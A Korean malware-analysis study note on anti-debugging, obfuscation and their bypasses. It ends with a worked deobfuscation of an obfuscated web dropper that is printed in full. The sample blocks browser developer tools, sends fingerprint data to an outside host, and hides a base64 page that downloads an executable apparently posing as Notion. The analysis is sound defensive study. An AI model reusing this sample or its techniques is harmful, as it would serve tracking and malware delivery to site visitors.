기초 악성 코드 분석 5
1. 안티디버깅 (Anti-Debugging)
디버깅 도구나 분석 환경에서의 실행을 감지하여 악성 행위를 숨기거나 종료함
1.1 API 기반 감지
- Windows 시스템에서는 특정 API를 통해 현재 프로세스가 디버깅 중인지 여부를 감지할 수 있음
- IsDebuggerPresent(), CheckRemoteDebuggerPresent()
- NtQueryInformationProcess() (ProcessDebugPort, ProcessDebugFlags 등)
- 우회 방법: API 후킹, 리턴값 패치
1.2 예외 처리 기반 탐지
- INT 3 (BreakPoint), RaiseException(), SetUnhandledExceptionFilter() 활용
- 디버거가 예외를 처리하지 못하게 해서 감지
- 일부 프로그램은 고의로 예외를 발생시키고, 디버거가 개입했는지를 통해 디버깅 여부를 판단
__try {
RaiseException(EXCEPTION_BREAKPOINT, 0, 0, NULL);
} __except(EXCEPTION_EXECUTE_HANDLER) {
// 디버깅 환경이면 이곳으로 들어오지 않음
}
- 우회 방법: 예외 핸들링 패치, try-catch 우회
1.3 시간 기반 감지
- 디버깅 시 코드 실행 속도가 느려지므로, 시간 차이를 측정하여 이를 감지
DWORD start = GetTickCount();
// 민감한 연산 수행
DWORD end = GetTickCount();
if (end - start > 100) exit(0); // 디버깅 의심
- 우회 방법: API 후킹, 고정된 시간값 반환
1.4 명령어 기반 감지
- ICEBP (int 1), UD2, 0xF1 같은 특수 명령어 삽입
- 일부 CPU 명령어는 디버깅 환경에서 다르게 작동하거나 예외를 발생시킴
- 우회 방법: 명령어 무력화, binary patch
1.5 프로세스/윈도우 감시
- 디버거 프로세스, 분석 툴, 윈도우 이름 등 환경 자체를 탐지하여 실행 여부 결정
- 예: FindWindow("OLLYDBG"))
- 우회 방법: 윈도우 이름 변경, 프로세스명 위장
1.6 커널 기반 감지
- 커널 드라이버 통해 디버거 탐지 (예: KdDebuggerEnabled)
- 우회 방법: 루트킷 레벨 패치, 하이퍼바이저 환경
2. 난독화 기법 (Obfuscation Techniques)
코드를 분석하기 어렵게 만들어 정적 분석을 방해하는 기법
2.1 제어 흐름 난독화
- goto, switch, opaque predicate 등으로 흐름을 꼬아서 분석 어렵게 함
if ((a * 2 - a) == a) {
// 실제 동작 코드
} else {
// 절대 실행되지 않음
}
- 예: 불필요한 루프, 조건문 삽입
2.2 문자열 난독화
- 중요한 문자열을 Base64, XOR, AES 등으로 암호화하고 런타임에 복호화
const encrypted = "SGVsbG8gd29ybGQ=";
const decoded = atob(encrypted);
- 우회: 런타임 디코딩, 메모리 덤프
2.3 코드 인젝션 및 셀프 모디파잉 코드
- 실행 중 코드 덮어쓰기, 다른 프로세스에 코드 삽입
- 우회: 동적 분석, 메모리 감시
2.4 패킹 (Packing)
- UPX, Themida, VMProtect 등으로 바이너리를 압축/암호화
- 실행 시 복호화 후 원본 코드 실행
- 우회: 언패커 사용, 메모리 덤프
2.5 API 호출 흐림
- 함수 주소를 동적 로딩 (LoadLibrary, GetProcAddress) 또는 해시로 불러옴
FARPROC addr = GetProcAddress(LoadLibrary("kernel32.dll"), "CreateFileA");
- 우회: 호출 추적, 함수 해시 분석
3. 우회 기법 (Bypass Techniques)
기법 | 우회 방법 |
IsDebuggerPresent | API 후킹, 직접 패치 |
문자열 암호화 | 문자열 복호화 루틴 분석 |
Control Flow 난독화 | CFG 생성, 명령어 트레이싱 |
패킹된 파일 | 언패킹 툴 사용 or 런타임 덤프 |
API 주소 숨김 | IAT 또는 호출 지점 추적 |
4. 분석 툴 추천
목적 | 툴 |
디버깅 | x64dbg, IDA, WinDbg |
정적 분석 | Ghidra, Binary Ninja |
패킹 탐지 | Exeinfo PE, PEiD |
메모리 덤프 | Scylla, x64dbg |
디코딩 | CyberChef, Base64/XOR Decoder |
5. 난독화 해제 실습
document.addEventListener("keydown", function (_0x240a96) {
if (_0x240a96.keyCode === 0x7b || _0x240a96.ctrlKey && _0x240a96.shiftKey && (_0x240a96.keyCode === 0x49 || _0x240a96.keyCode === 0x4a) || _0x240a96.ctrlKey && _0x240a96.keyCode === 0x55) {
_0x240a96.preventDefault();
crashDebugger();
}
});
function crashDebugger() {
setInterval(() => {
(function () {
console.log("Попытка инспектирования!");
debugger;
})();
}, 0x64);
}
setInterval(() => {
if (window.outerHeight - window.innerHeight > 0x64 || window.outerWidth - window.innerWidth > 0x64) {
crashDebugger();
}
}, 0x3e8);
console.log('%c', "font-size:100px;");
setTimeout(() => {
if (console.clear) {
console.clear();
}
}, 0x64);
(function () {
const _0x152b39 = new Image();
Object.defineProperty(_0x152b39, 'id', {
'get': function () {
crashDebugger();
throw new Error("Инспектор обнаружен!");
}
});
console.log('%c', _0x152b39);
})();
function createHiddenIframeWithBase64(_0x4891e5, _0x22ffea = "text/html") {
const _0x4f2370 = document.createElement("iframe");
_0x4f2370.style.display = "none";
document.body.appendChild(_0x4f2370);
const _0x17b84e = "data:" + _0x22ffea + ';base64,' + _0x4891e5;
_0x4f2370.src = _0x17b84e;
return _0x4f2370;
}
function download() {
const _0x4b9c1b = document.getElementById('download');
if (!_0x4b9c1b) {
return;
}
const _0x1d1225 = _0x4b9c1b.tagName.toLowerCase() === "button";
const _0x3cf4e1 = _0x1d1225 ? _0x4b9c1b.innerText : _0x4b9c1b.getAttribute('href');
if (_0x1d1225) {
_0x4b9c1b.disabled = true;
} else {
_0x4b9c1b.removeAttribute('href');
_0x4b9c1b.style.pointerEvents = "none";
}
window.addEventListener('message', function _0x344b4e(_0x41c095) {
if (_0x41c095.data.percent !== undefined && _0x1d1225) {
_0x4b9c1b.innerText = "Downloading: " + _0x41c095.data.percent + '%';
}
if (_0x41c095.data.done) {
_0x35ba4e();
window.removeEventListener("message", _0x344b4e);
}
if (_0x41c095.data.error) {
if (_0x1d1225) {
_0x4b9c1b.innerText = "Error downloading";
setTimeout(_0x35ba4e, 0x7d0);
} else {
alert("Ошибка загрузки файла");
_0x35ba4e();
}
window.removeEventListener("message", _0x344b4e);
}
});
function _0x35ba4e() {
if (_0x1d1225) {
_0x4b9c1b.innerText = _0x3cf4e1;
_0x4b9c1b.disabled = false;
} else {
_0x4b9c1b.setAttribute("href", _0x3cf4e1);
_0x4b9c1b.style.pointerEvents = "auto";
}
}
const _0x69cebf = import("https://fpjscdn.net/v3/PvuUMpgUY4sC9jdyNi7A").then(_0x35f583 => _0x35f583.load({
'region': 'eu'
}));
_0x69cebf.then(_0x312eca => _0x312eca.get()).then(_0x198c9f => {
const _0x200d56 = _0x198c9f.visitorId;
fetch('https://studiofriez.com/metrics.php?action=add', {
'method': "POST",
'headers': {
'Content-Type': "application/json"
},
'body': JSON.stringify({
'visitorId': _0x200d56
})
}).then(_0xc6d9a2 => _0xc6d9a2.json()).then(_0x41ec77 => console.log("Metric sent:", _0x41ec77))["catch"](_0x4a24fb => console.error("Metric error:", _0x4a24fb));
createHiddenIframeWithBase64("PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJydSI+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgPHRpdGxlPkRvd25sb2FkaW5nLi4uPC90aXRsZT4NCiAgICA8c2NyaXB0Pg0KICAgICBjb25zdCBfMHgyZjMzZGE9XzB4MjJlNDtmdW5jdGlvbiBfMHgyMmU0KF8weDQ0MGMxZCxfMHg1M2Y1Y2Epe2NvbnN0IF8weDRhZGU0ZT1fMHg0YWRlKCk7cmV0dXJuIF8weDIyZTQ9ZnVuY3Rpb24oXzB4MjJlNDViLF8weDI5OTUzMSl7XzB4MjJlNDViPV8weDIyZTQ1Yi0weGRmO2xldCBfMHg1NWUwYjM9XzB4NGFkZTRlW18weDIyZTQ1Yl07cmV0dXJuIF8weDU1ZTBiMzt9LF8weDIyZTQoXzB4NDQwYzFkLF8weDUzZjVjYSk7fShmdW5jdGlvbihfMHg0YmIwNWEsXzB4ODYyMTZhKXtjb25zdCBfMHgzNjM0ZTE9XzB4MjJlNCxfMHgyMjJkMDU9XzB4NGJiMDVhKCk7d2hpbGUoISFbXSl7dHJ5e2NvbnN0IF8weDhkOWU2Mz0tcGFyc2VJbnQoXzB4MzYzNGUxKDB4ZTYpKS8weDErcGFyc2VJbnQoXzB4MzYzNGUxKDB4ZjgpKS8weDIqKHBhcnNlSW50KF8weDM2MzRlMSgweGViKSkvMHgzKSstcGFyc2VJbnQoXzB4MzYzNGUxKDB4ZjMpKS8weDQrLXBhcnNlSW50KF8weDM2MzRlMSgweGU1KSkvMHg1KihwYXJzZUludChfMHgzNjM0ZTEoMHhlMCkpLzB4NikrLXBhcnNlSW50KF8weDM2MzRlMSgweGU4KSkvMHg3KihwYXJzZUludChfMHgzNjM0ZTEoMHgxMDApKS8weDgpK3BhcnNlSW50KF8weDM2MzRlMSgweGY3KSkvMHg5KigtcGFyc2VJbnQoXzB4MzYzNGUxKDB4ZWYpKS8weGEpK3BhcnNlSW50KF8weDM2MzRlMSgweGY2KSkvMHhiO2lmKF8weDhkOWU2Mz09PV8weDg2MjE2YSlicmVhaztlbHNlIF8weDIyMmQwNVsncHVzaCddKF8weDIyMmQwNVsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4NTZmNThmKXtfMHgyMjJkMDVbJ3B1c2gnXShfMHgyMjJkMDVbJ3NoaWZ0J10oKSk7fX19KF8weDRhZGUsMHgzYzdlOCkpO2FzeW5jIGZ1bmN0aW9uIGRvd25sb2FkRmlsZShfMHg0NGZjMTYsXzB4MTViN2NmKXtjb25zdCBfMHg1OThjMTg9XzB4MjJlNDt0cnl7Y29uc3QgXzB4ZmZjYTc0PWF3YWl0IGZldGNoKF8weDQ0ZmMxNik7aWYoIV8weGZmY2E3NFsnb2snXSl0aHJvdyBuZXcgRXJyb3IoXzB4NTk4YzE4KDB4ZjIpKTtjb25zdCBfMHg1OWVmYTI9XzB4ZmZjYTc0W18weDU5OGMxOCgweGZmKV1bXzB4NTk4YzE4KDB4ZjkpXSgpLF8weDU1NTNmMD0rXzB4ZmZjYTc0W18weDU5OGMxOCgweGU3KV1bXzB4NTk4YzE4KDB4ZmMpXShfMHg1OThjMTgoMHhlYSkpO2xldCBfMHgxMTM4YWY9MHgwLF8weDJiNWMwND1bXTt3aGlsZSghIVtdKXtjb25zdCB7ZG9uZTpfMHgyNjY3ZDAsdmFsdWU6XzB4M2I1ZTFjfT1hd2FpdCBfMHg1OWVmYTJbXzB4NTk4YzE4KDB4ZWUpXSgpO2lmKF8weDI2NjdkMClicmVhaztfMHgyYjVjMDRbXzB4NTk4YzE4KDB4ZmEpXShfMHgzYjVlMWMpLF8weDExMzhhZis9XzB4M2I1ZTFjW18weDU5OGMxOCgweGZlKV07bGV0IF8weDQ4OWRkNj1NYXRoW18weDU5OGMxOCgweGU5KV0oXzB4MTEzOGFmL18weDU1NTNmMCoweDY0KTtwYXJlbnRbXzB4NTk4YzE4KDB4ZjApXSh7J3BlcmNlbnQnOl8weDQ4OWRkNn0sJyonKTt9Y29uc3QgXzB4NDgxYzgzPW5ldyBCbG9iKF8weDJiNWMwNCksXzB4MjYyYmRmPVVSTFtfMHg1OThjMTgoMHhlNCldKF8weDQ4MWM4MyksXzB4N2E5MDdkPWRvY3VtZW50W18weDU5OGMxOCgweGY1KV0oJ2EnKTtfMHg3YTkwN2RbXzB4NTk4YzE4KDB4MTAxKV09XzB4MjYyYmRmLF8weDdhOTA3ZFtfMHg1OThjMTgoMHhlMyldPV8weDE1YjdjZnx8XzB4NTk4YzE4KDB4ZTIpLGRvY3VtZW50W18weDU5OGMxOCgweGZmKV1bXzB4NTk4YzE4KDB4ZWMpXShfMHg3YTkwN2QpLF8weDdhOTA3ZFtfMHg1OThjMTgoMHhmMSldKCksZG9jdW1lbnRbXzB4NTk4YzE4KDB4ZmYpXVtfMHg1OThjMTgoMHhmNCldKF8weDdhOTA3ZCksc2V0VGltZW91dCgoKT0+VVJMW18weDU5OGMxOCgweGRmKV0oXzB4MjYyYmRmKSwweDY0KSxwYXJlbnRbXzB4NTk4YzE4KDB4ZjApXSh7J2RvbmUnOiEhW119LCcqJyk7fWNhdGNoKF8weDI1OTFhMil7Y29uc29sZVtfMHg1OThjMTgoMHhmZCldKCcnLF8weDI1OTFhMikscGFyZW50W18weDU5OGMxOCgweGYwKV0oeydlcnJvcic6ISFbXX0sJyonKTt9fXdpbmRvd1tfMHgyZjMzZGEoMHhlZCldPSgpPT57Y29uc3QgXzB4NGRlY2MwPV8weDJmMzNkYSxfMHgzMjE4NjE9XzB4NGRlY2MwKDB4ZTEpLF8weDU0ZTBjZT1fMHg0ZGVjYzAoMHhmYik7ZG93bmxvYWRGaWxlKF8weDMyMTg2MSxfMHg1NGUwY2UpO307ZnVuY3Rpb24gXzB4NGFkZSgpe2NvbnN0IF8weDUwNGQ2Yz1bJ3JlbW92ZUNoaWxkJywnY3JlYXRlRWxlbWVudCcsJzEyNzY0MDcwdGF0Y2NkJywnOUFZR1dETScsJzR4S1lVQVYnLCdnZXRSZWFkZXInLCdwdXNoJywnTm90aW9tLmV4ZScsJ2dldCcsJ2Vycm9yJywnbGVuZ3RoJywnYm9keScsJzQwZWxUT2p5JywnaHJlZicsJ3Jldm9rZU9iamVjdFVSTCcsJzI0SWZUb0FvJywnaHR0cHM6Ly9ub3Rpb20ub25saW5lL2Rvd25sb2FkLnBocCcsJ2Rvd25sb2FkZWRfZmlsZScsJ2Rvd25sb2FkJywnY3JlYXRlT2JqZWN0VVJMJywnMTY0NzkwcWxTVVVvJywnNTI3N2NjTXVkZScsJ2hlYWRlcnMnLCczMDY0MzlGWVR2WGsnLCdyb3VuZCcsJ0NvbnRlbnQtTGVuZ3RoJywnNDIwNTA0T1BVZWJ4JywnYXBwZW5kQ2hpbGQnLCdvbmxvYWQnLCdyZWFkJywnNDYwNzc4MHJHVmlLQycsJ3Bvc3RNZXNzYWdlJywnY2xpY2snLCfQntGI0LjQsdC60LAg0LfQsNCz0YDRg9C30LrQuCcsJzE1MDQ2MDBYYnB2VVMnXTtfMHg0YWRlPWZ1bmN0aW9uKCl7cmV0dXJuIF8weDUwNGQ2Yzt9O3JldHVybiBfMHg0YWRlKCk7fQ0KICAgIDwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHk+DQogICAgPGgxPkRvd25sb2FkaW5nLi4uPC9oMT4NCjwvYm9keT4NCjwvaHRtbD4=");
});
}
5.1 난독화된 코드 구조 해석
- 변수명: _0x240a96, _0x152b39, _0x4891e5 등 무의미한 이름
- 16진수 리터럴: 0x7b(123), 0x64(100), 0x3e8(1000) 등
- 일부 함수/로직을 즉시 실행 함수(IIFE)로 감춤
- 안티디버깅: debugger, 크롬 개발자도구 탐지, 단축키 차단 등
5.2 난독화 해제 기본 흐름
5.2.1 자동화 툴
- JavaScript Deobfuscator
- 코드 붙여넣고 “Beautify” 또는 “Eval Unpacker” 등 적용
- 변수명은 자동 해독이 안됨 (일부만 알아보기 좋게 만듦)
툴 활용 예시…?
- Pretty Print (Ctrl+Shift+P)
- 브라우저 F12 > Sources > 코드 우클릭 > "Pretty print" (중괄호 아이콘)
5.2.2 직접 분석
- 16진수 상수 → 10진수로 변환
- 예: 0x7b → 123 (F12 콘솔, Python 등에서 변환)
- 난독화된 변수 추적
- 한글로 변수명 바꿔가며 읽기
- 즉시 실행 함수(IIFE), setInterval 등 불필요 코드 주석 처리
- console.log/alert 등으로 실행 흐름 추적
5.3 난독화 해제 과정
5.3.1 주요 행위
- F12 개발자도구/디버깅 차단
- keydown으로 F12(123), Ctrl+Shift+I/J/U 차단
- preventDefault, crashDebugger()로 비정상 동작 유도
- window 크기 변경 감지(outerHeight-innerHeight)로도 탐지
- console.clear() 반복 호출
- Object.defineProperty + getter로 console에서 이미지 출력시 crashDebugger() 실행
- iframe 생성 및 base64 HTML 코드 삽입
- download 함수: 클릭 방지, fetch 호출 및 동적 모듈 import
- 러시아어/영문 혼합 경고 메시지
5.3.2 난독화 해제 예시 과정
Step 1: Beautify
- de4js 사이트에서 "Beautify" 클릭
- 불필요한 줄바꿈이 정리되어 읽기 쉬움
Step 2: 변수/상수명 명확화
- 예시:
- _0x240a96.keyCode === 0x7b → keyCode === 123 (F12)
- 0x49(I), 0x4a(J), 0x55(U)
Step 3: 동작 우회
- 해당 이벤트 리스너(keydown) 주석 처리
// document.addEventListener("keydown", function (...) {...});
- crashDebugger 내부의 debugger; 문 주석 처리
- window 크기 감지(setInterval) 코드 비활성화
Step 4: 동적 코드 (eval/동적 import 등) 분석
- import("https://fpjscdn.net/v3/PvuUMpgUY4sC9jdyNi7A") → 외부 JS 모듈 동적 로드, 분석 시 실제 해당 JS 내용도 별도 확인 필요
- base64 HTML → CyberChef 등으로 디코드해서 원본 HTML 확인
5.4 결론
// F12, Ctrl+Shift+I/J, Ctrl+U 단축키 입력 시 차단 및 debugger 루프 유발
document.addEventListener("keydown", function (e) {
if (
e.keyCode === 0x7b || // F12
(e.ctrlKey && e.shiftKey && (e.keyCode === 0x49 || e.keyCode === 0x4a)) || // Ctrl+Shift+I/J
(e.ctrlKey && e.keyCode === 0x55) // Ctrl+U
) {
e.preventDefault();
crashDebugger();
}
});
function crashDebugger() {
setInterval(() => {
console.log("시도 감지됨!");
debugger; // 디버거 걸리게 유도
}, 100); // 0x64 == 100ms
}
// 창 크기 변경 감지 → 디버깅 도구가 열리면 crashDebugger 실행
setInterval(() => {
if (
window.outerHeight - window.innerHeight > 100 ||
window.outerWidth - window.innerWidth > 100
) {
crashDebugger();
}
}, 1000); // 0x3e8 == 1000ms
// 콘솔에 큰 글씨 로그, 이후 console.clear
console.log('%c', "font-size:100px;");
setTimeout(() => {
if (console.clear) {
console.clear();
}
}, 100);
// 콘솔에서 이미지 출력 시 getter 속성 통해 crashDebugger 실행
(function () {
const img = new Image();
Object.defineProperty(img, 'id', {
get: function () {
crashDebugger();
throw new Error("인스펙터 감지됨!");
}
});
console.log('%c', img);
})();
// iframe에 base64 HTML 삽입
function createHiddenIframeWithBase64(encodedHTML, mimeType = "text/html") {
const iframe = document.createElement("iframe");
iframe.style.display = "none";
document.body.appendChild(iframe);
const src = "data:" + mimeType + ';base64,' + encodedHTML;
iframe.src = src;
return iframe;
}
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<title>Downloading...</title>
<script>
// 매우 난독화된 자바스크립트 시작
const _0x2f33da = _0x22e4;
function _0x22e4(_0x440c1d, _0x53f5ca) {
const _0x4ade4e = _0x4ade();
return _0x22e4 = function (_0x22e45b, _0x299531) {
_0x22e45b = _0x22e45b - 0xdf;
let _0x55e0b3 = _0x4ade4e[_0x22e45b];
return _0x55e0b3;
}, _0x22e4(_0x440c1d, _0x53f5ca);
}
(function (_0x4bb05a, _0x86216a) {
const _0x3634e1 = _0x22e4;
const _0x222d05 = _0x4bb05a();
while (true) {
try {
const result =
-parseInt(_0x3634e1(0xe6)) / 1 +
parseInt(_0x3634e1(0xf8)) / 2 * (parseInt(_0x3634e1(0xeb)) / 3) +
...;
if (result === _0x86216a) break;
else _0x222d05.push(_0x222d05.shift());
} catch (_0x56f58f) {
_0x222d05.push(_0x222d05.shift());
}
}
})(_0x4ade, 0x3c7e8);
async function downloadF...
```
이 base64 코드는
러시아어 기반의 '다운로드 중' 페이지
강력하게 난독화된 자바스크립트 포함
문자열 테이블 기반 치환 해석 방식 사용
향후 downloadFile(...) 또는 유사 함수로 최종 다운로드 동작 수행 예상됨
```